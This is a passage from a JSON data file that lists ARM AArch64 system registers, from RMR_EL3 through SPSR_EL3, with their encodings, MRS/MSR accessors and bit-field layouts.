"RR", "msb": 1, "lsb": 1}, {"name": "AA64", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RMR_EL2", "fullname": "Reset Management Register (EL2)", "enc": [3, 4, 12, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RR", "msb": 1, "lsb": 1}, {"name": "AA64", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RMR_EL3", "fullname": "Reset Management Register (EL3)", "enc": [3, 6, 12, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RR", "msb": 1, "lsb": 1}, {"name": "AA64", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RNDRRS", "fullname": "Reseeded Random Number", "enc": [3, 3, 2, 4, 1], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "RNDR", "fullname": "Random Number", "enc": [3, 3, 2, 4, 0], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "RVBAR_EL1", "fullname": "Reset Vector Base Address Register (if EL2 and EL3 not implemented)", "enc": [3, 0, 12, 0, 1], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "RVBAR_EL2", "fullname": "Reset Vector Base Address Register (if EL3 not implemented)", "enc": [3, 4, 12, 0, 1], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "RVBAR_EL3", "fullname": "Reset Vector Base Address Register (if EL3 implemented)", "enc": [3, 6, 12, 0, 1], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SCR_EL3", "fullname": "Secure Configuration Register", "enc": [3, 6, 1, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "HXEn", "msb": 38, "lsb": 38}, {"name": "ADEn", "msb": 37, "lsb": 37}, {"name": "EnAS0", "msb": 36, "lsb": 36}, {"name": "AMVOFFEN", "msb": 35, "lsb": 35}, {"name": "TWEDEL", "msb": 33, "lsb": 30}, {"name": "TWEDEn", "msb": 29, "lsb": 29}, {"name": "ECVEn", "msb": 28, "lsb": 28}, {"name": "FGTEn", "msb": 27, "lsb": 27}, {"name": "ATA", "msb": 26, "lsb": 26}, {"name": "EnSCXT", "msb": 25, "lsb": 25}, {"name": "FIEN", "msb": 21, "lsb": 21}, {"name": "NMEA", "msb": 20, "lsb": 20}, {"name": "EASE", "msb": 19, "lsb": 19}, {"name": "EEL2", "msb": 18, "lsb": 18}, {"name": "API", "msb": 17, "lsb": 17}, {"name": "API", "msb": 17, "lsb": 17}, {"name": "APK", "msb": 16, "lsb": 16}, {"name": "TERR", "msb": 15, "lsb": 15}, {"name": "TLOR", "msb": 14, "lsb": 14}, {"name": "TWE", "msb": 13, "lsb": 13}, {"name": "TWI", "msb": 12, "lsb": 12}, {"name": "ST", "msb": 11, "lsb": 11}, {"name": "RW", "msb": 10, "lsb": 10}, {"name": "SIF", "msb": 9, "lsb": 9}, {"name": "SIF", "msb": 9, "lsb": 9}, {"name": "HCE", "msb": 8, "lsb": 8}, {"name": "SMD", "msb": 7, "lsb": 7}, {"name": "EA", "msb": 3, "lsb": 3}, {"name": "FIQ", "msb": 2, "lsb": 2}, {"name": "IRQ", "msb": 1, "lsb": 1}, {"name": "NS", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SCTLR_EL1", "fullname": "System Control Register (EL1)", "enc": [3, 0, 1, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EPAN", "msb": 57, "lsb": 57}, {"name": "EnALS", "msb": 56, "lsb": 56}, {"name": "EnAS0", "msb": 55, "lsb": 55}, {"name": "EnASR", "msb": 54, "lsb": 54}, {"name": "TWEDEL", "msb": 49, "lsb": 46}, {"name": "TWEDEn", "msb": 45, "lsb": 45}, {"name": "DSSBS", "msb": 44, "lsb": 44}, {"name": "ATA", "msb": 43, "lsb": 43}, {"name": "ATA0", "msb": 42, "lsb": 42}, {"name": "TCF", "msb": 41, "lsb": 40}, {"name": "TCF0", "msb": 39, "lsb": 38}, {"name": "ITFSB", "msb": 37, "lsb": 37}, {"name": "BT1", "msb": 36, "lsb": 36}, {"name": "BT0", "msb": 35, "lsb": 35}, {"name": "EnIA", "msb": 31, "lsb": 31}, {"name": "EnIB", "msb": 30, "lsb": 30}, {"name": "LSMAOE", "msb": 29, "lsb": 29}, {"name": "nTLSMD", "msb": 28, "lsb": 28}, {"name": "EnDA", "msb": 27, "lsb": 27}, {"name": "UCI", "msb": 26, "lsb": 26}, {"name": "EE", "msb": 25, "lsb": 25}, {"name": "E0E", "msb": 24, "lsb": 24}, {"name": "SPAN", "msb": 23, "lsb": 23}, {"name": "EIS", "msb": 22, "lsb": 22}, {"name": "IESB", "msb": 21, "lsb": 21}, {"name": "TSCXT", "msb": 20, "lsb": 20}, {"name": "WXN", "msb": 19, "lsb": 19}, {"name": "nTWE", "msb": 18, "lsb": 18}, {"name": "nTWI", "msb": 16, "lsb": 16}, {"name": "UCT", "msb": 15, "lsb": 15}, {"name": "DZE", "msb": 14, "lsb": 14}, {"name": "EnDB", "msb": 13, "lsb": 13}, {"name": "I", "msb": 12, "lsb": 12}, {"name": "EOS", "msb": 11, "lsb": 11}, {"name": "EnRCTX", "msb": 10, "lsb": 10}, {"name": "UMA", "msb": 9, "lsb": 9}, {"name": "SED", "msb": 8, "lsb": 8}, {"name": "ITD", "msb": 7, "lsb": 7}, {"name": "nAA", "msb": 6, "lsb": 6}, {"name": "CP15BEN", "msb": 5, "lsb": 5}, {"name": "SA0", "msb": 4, "lsb": 4}, {"name": "SA", "msb": 3, "lsb": 3}, {"name": "C", "msb": 2, "lsb": 2}, {"name": "A", "msb": 1, "lsb": 1}, {"name": "M", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SCTLR_EL12", "fullname": "System Control Register (EL1)", "enc": [3, 5, 1, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EPAN", "msb": 57, "lsb": 57}, {"name": "EnALS", "msb": 56, "lsb": 56}, {"name": "EnAS0", "msb": 55, "lsb": 55}, {"name": "EnASR", "msb": 54, "lsb": 54}, {"name": "TWEDEL", "msb": 49, "lsb": 46}, {"name": "TWEDEn", "msb": 45, "lsb": 45}, {"name": "DSSBS", "msb": 44, "lsb": 44}, {"name": "ATA", "msb": 43, "lsb": 43}, {"name": "ATA0", "msb": 42, "lsb": 42}, {"name": "TCF", "msb": 41, "lsb": 40}, {"name": "TCF0", "msb": 39, "lsb": 38}, {"name": "ITFSB", "msb": 37, "lsb": 37}, {"name": "BT1", "msb": 36, "lsb": 36}, {"name": "BT0", "msb": 35, "lsb": 35}, {"name": "EnIA", "msb": 31, "lsb": 31}, {"name": "EnIB", "msb": 30, "lsb": 30}, {"name": "LSMAOE", "msb": 29, "lsb": 29}, {"name": "nTLSMD", "msb": 28, "lsb": 28}, {"name": "EnDA", "msb": 27, "lsb": 27}, {"name": "UCI", "msb": 26, "lsb": 26}, {"name": "EE", "msb": 25, "lsb": 25}, {"name": "E0E", "msb": 24, "lsb": 24}, {"name": "SPAN", "msb": 23, "lsb": 23}, {"name": "EIS", "msb": 22, "lsb": 22}, {"name": "IESB", "msb": 21, "lsb": 21}, {"name": "TSCXT", "msb": 20, "lsb": 20}, {"name": "WXN", "msb": 19, "lsb": 19}, {"name": "nTWE", "msb": 18, "lsb": 18}, {"name": "nTWI", "msb": 16, "lsb": 16}, {"name": "UCT", "msb": 15, "lsb": 15}, {"name": "DZE", "msb": 14, "lsb": 14}, {"name": "EnDB", "msb": 13, "lsb": 13}, {"name": "I", "msb": 12, "lsb": 12}, {"name": "EOS", "msb": 11, "lsb": 11}, {"name": "EnRCTX", "msb": 10, "lsb": 10}, {"name": "UMA", "msb": 9, "lsb": 9}, {"name": "SED", "msb": 8, "lsb": 8}, {"name": "ITD", "msb": 7, "lsb": 7}, {"name": "nAA", "msb": 6, "lsb": 6}, {"name": "CP15BEN", "msb": 5, "lsb": 5}, {"name": "SA0", "msb": 4, "lsb": 4}, {"name": "SA", "msb": 3, "lsb": 3}, {"name": "C", "msb": 2, "lsb": 2}, {"name": "A", "msb": 1, "lsb": 1}, {"name": "M", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SCTLR_EL1", "fullname": "System Control Register (EL2)", "enc": [3, 0, 1, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EPAN", "msb": 57, "lsb": 57}, {"name": "EnALS", "msb": 56, "lsb": 56}, {"name": "EnAS0", "msb": 55, "lsb": 55}, {"name": "EnASR", "msb": 54, "lsb": 54}, {"name": "TWEDEL", "msb": 49, "lsb": 46}, {"name": "TWEDEn", "msb": 45, "lsb": 45}, {"name": "DSSBS", "msb": 44, "lsb": 44}, {"name": "ATA", "msb": 43, "lsb": 43}, {"name": "ATA0", "msb": 42, "lsb": 42}, {"name": "TCF", "msb": 41, "lsb": 40}, {"name": "TCF0", "msb": 39, "lsb": 38}, {"name": "ITFSB", "msb": 37, "lsb": 37}, {"name": "BT", "msb": 36, "lsb": 36}, {"name": "BT0", "msb": 35, "lsb": 35}, {"name": "EnIA", "msb": 31, "lsb": 31}, {"name": "EnIB", "msb": 30, "lsb": 30}, {"name": "LSMAOE", "msb": 29, "lsb": 29}, {"name": "nTLSMD", "msb": 28, "lsb": 28}, {"name": "EnDA", "msb": 27, "lsb": 27}, {"name": "UCI", "msb": 26, "lsb": 26}, {"name": "EE", "msb": 25, "lsb": 25}, {"name": "E0E", "msb": 24, "lsb": 24}, {"name": "SPAN", "msb": 23, "lsb": 23}, {"name": "EIS", "msb": 22, "lsb": 22}, {"name": "IESB", "msb": 21, "lsb": 21}, {"name": "TSCXT", "msb": 20, "lsb": 20}, {"name": "WXN", "msb": 19, "lsb": 19}, {"name": "nTWE", "msb": 18, "lsb": 18}, {"name": "nTWI", "msb": 16, "lsb": 16}, {"name": "UCT", "msb": 15, "lsb": 15}, {"name": "DZE", "msb": 14, "lsb": 14}, {"name": "EnDB", "msb": 13, "lsb": 13}, {"name": "I", "msb": 12, "lsb": 12}, {"name": "EOS", "msb": 11, "lsb": 11}, {"name": "EnRCTX", "msb": 10, "lsb": 10}, {"name": "SED", "msb": 8, "lsb": 8}, {"name": "ITD", "msb": 7, "lsb": 7}, {"name": "nAA", "msb": 6, "lsb": 6}, {"name": "CP15BEN", "msb": 5, "lsb": 5}, {"name": "SA0", "msb": 4, "lsb": 4}, {"name": "SA", "msb": 3, "lsb": 3}, {"name": "C", "msb": 2, "lsb": 2}, {"name": "A", "msb": 1, "lsb": 1}, {"name": "M", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SCTLR_EL2", "fullname": "System Control Register (EL2)", "enc": [3, 4, 1, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EPAN", "msb": 57, "lsb": 57}, {"name": "EnALS", "msb": 56, "lsb": 56}, {"name": "EnAS0", "msb": 55, "lsb": 55}, {"name": "EnASR", "msb": 54, "lsb": 54}, {"name": "TWEDEL", "msb": 49, "lsb": 46}, {"name": "TWEDEn", "msb": 45, "lsb": 45}, {"name": "DSSBS", "msb": 44, "lsb": 44}, {"name": "ATA", "msb": 43, "lsb": 43}, {"name": "ATA0", "msb": 42, "lsb": 42}, {"name": "TCF", "msb": 41, "lsb": 40}, {"name": "TCF0", "msb": 39, "lsb": 38}, {"name": "ITFSB", "msb": 37, "lsb": 37}, {"name": "BT", "msb": 36, "lsb": 36}, {"name": "BT0", "msb": 35, "lsb": 35}, {"name": "EnIA", "msb": 31, "lsb": 31}, {"name": "EnIB", "msb": 30, "lsb": 30}, {"name": "LSMAOE", "msb": 29, "lsb": 29}, {"name": "nTLSMD", "msb": 28, "lsb": 28}, {"name": "EnDA", "msb": 27, "lsb": 27}, {"name": "UCI", "msb": 26, "lsb": 26}, {"name": "EE", "msb": 25, "lsb": 25}, {"name": "E0E", "msb": 24, "lsb": 24}, {"name": "SPAN", "msb": 23, "lsb": 23}, {"name": "EIS", "msb": 22, "lsb": 22}, {"name": "IESB", "msb": 21, "lsb": 21}, {"name": "TSCXT", "msb": 20, "lsb": 20}, {"name": "WXN", "msb": 19, "lsb": 19}, {"name": "nTWE", "msb": 18, "lsb": 18}, {"name": "nTWI", "msb": 16, "lsb": 16}, {"name": "UCT", "msb": 15, "lsb": 15}, {"name": "DZE", "msb": 14, "lsb": 14}, {"name": "EnDB", "msb": 13, "lsb": 13}, {"name": "I", "msb": 12, "lsb": 12}, {"name": "EOS", "msb": 11, "lsb": 11}, {"name": "EnRCTX", "msb": 10, "lsb": 10}, {"name": "SED", "msb": 8, "lsb": 8}, {"name": "ITD", "msb": 7, "lsb": 7}, {"name": "nAA", "msb": 6, "lsb": 6}, {"name": "CP15BEN", "msb": 5, "lsb": 5}, {"name": "SA0", "msb": 4, "lsb": 4}, {"name": "SA", "msb": 3, "lsb": 3}, {"name": "C", "msb": 2, "lsb": 2}, {"name": "A", "msb": 1, "lsb": 1}, {"name": "M", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SCTLR_EL3", "fullname": "System Control Register (EL3)", "enc": [3, 6, 1, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "DSSBS", "msb": 44, "lsb": 44}, {"name": "ATA", "msb": 43, "lsb": 43}, {"name": "TCF", "msb": 41, "lsb": 40}, {"name": "ITFSB", "msb": 37, "lsb": 37}, {"name": "BT", "msb": 36, "lsb": 36}, {"name": "EnIA", "msb": 31, "lsb": 31}, {"name": "EnIB", "msb": 30, "lsb": 30}, {"name": "EnDA", "msb": 27, "lsb": 27}, {"name": "EE", "msb": 25, "lsb": 25}, {"name": "EIS", "msb": 22, "lsb": 22}, {"name": "IESB", "msb": 21, "lsb": 21}, {"name": "WXN", "msb": 19, "lsb": 19}, {"name": "EnDB", "msb": 13, "lsb": 13}, {"name": "I", "msb": 12, "lsb": 12}, {"name": "EOS", "msb": 11, "lsb": 11}, {"name": "nAA", "msb": 6, "lsb": 6}, {"name": "SA", "msb": 3, "lsb": 3}, {"name": "C", "msb": 2, "lsb": 2}, {"name": "A", "msb": 1, "lsb": 1}, {"name": "M", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SCXTNUM_EL0", "fullname": "EL0 Read/Write Software Context Number", "enc": [3, 3, 13, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SCXTNUM_EL1", "fullname": "EL1 Read/Write Software Context Number", "enc": [3, 0, 13, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SCXTNUM_EL12", "fullname": "EL1 Read/Write Software Context Number", "enc": [3, 5, 13, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SCXTNUM_EL1", "fullname": "EL2 Read/Write Software Context Number", "enc": [3, 0, 13, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SCXTNUM_EL2", "fullname": "EL2 Read/Write Software Context Number", "enc": [3, 4, 13, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SCXTNUM_EL3", "fullname": "EL3 Read/Write Software Context Number", "enc": [3, 6, 13, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SDER32_EL2", "fullname": "AArch32 Secure Debug Enable Register", "enc": [3, 4, 1, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "SUNIDEN", "msb": 1, "lsb": 1}, {"name": "SUIDEN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SDER32_EL3", "fullname": "AArch32 Secure Debug Enable Register", "enc": [3, 6, 1, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "SUNIDEN", "msb": 1, "lsb": 1}, {"name": "SUIDEN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SP_EL0", "fullname": "Stack Pointer (EL0)", "enc": [3, 0, 4, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SP_EL1", "fullname": "Stack Pointer (EL1)", "enc": [3, 4, 4, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SP_EL2", "fullname": "Stack Pointer (EL2)", "enc": [3, 6, 4, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "SPSel", "fullname": "Stack Pointer Select", "enc": [3, 0, 4, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "SP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_abt", "fullname": "Saved Program Status Register (Abort mode)", "enc": [3, 4, 4, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "J", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "DIT", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4:0]", "msb": 4, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_EL1", "fullname": "Saved Program Status Register (EL1)", "enc": [3, 0, 4, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "exception taken from AArch32", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}, {"instance": "exception taken from AArch64", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "TCO", "msb": 25, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "UAO", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "SSBS", "msb": 12, "lsb": 12}, {"name": "BTYPE", "msb": 11, "lsb": 10}, {"name": "D", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_EL12", "fullname": "Saved Program Status Register (EL1)", "enc": [3, 5, 4, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "exception taken from AArch32", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}, {"instance": "exception taken from AArch64", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "TCO", "msb": 25, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "UAO", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "SSBS", "msb": 12, "lsb": 12}, {"name": "BTYPE", "msb": 11, "lsb": 10}, {"name": "D", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_EL2", "fullname": "Saved Program Status Register (EL1)", "enc": [3, 4, 4, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "exception taken from AArch32", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}, {"instance": "exception taken from AArch64", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "TCO", "msb": 25, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "UAO", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "SSBS", "msb": 12, "lsb": 12}, {"name": "BTYPE", "msb": 11, "lsb": 10}, {"name": "D", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_EL1", "fullname": "Saved Program Status Register (EL2)", "enc": [3, 0, 4, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "exception taken from AArch32", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}, {"instance": "exception taken from AArch64", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "TCO", "msb": 25, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "UAO", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "SSBS", "msb": 12, "lsb": 12}, {"name": "BTYPE", "msb": 11, "lsb": 10}, {"name": "D", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_EL2", "fullname": "Saved Program Status Register (EL2)", "enc": [3, 4, 4, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "exception taken from AArch32", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}, {"instance": "exception taken from AArch64", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "TCO", "msb": 25, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "UAO", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "SSBS", "msb": 12, "lsb": 12}, {"name": "BTYPE", "msb": 11, "lsb": 10}, {"name": "D", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_EL3", "fullname": "Saved Program Status Register (EL3)", "enc": [3, 6, 4, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "exception taken from AArch32", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, 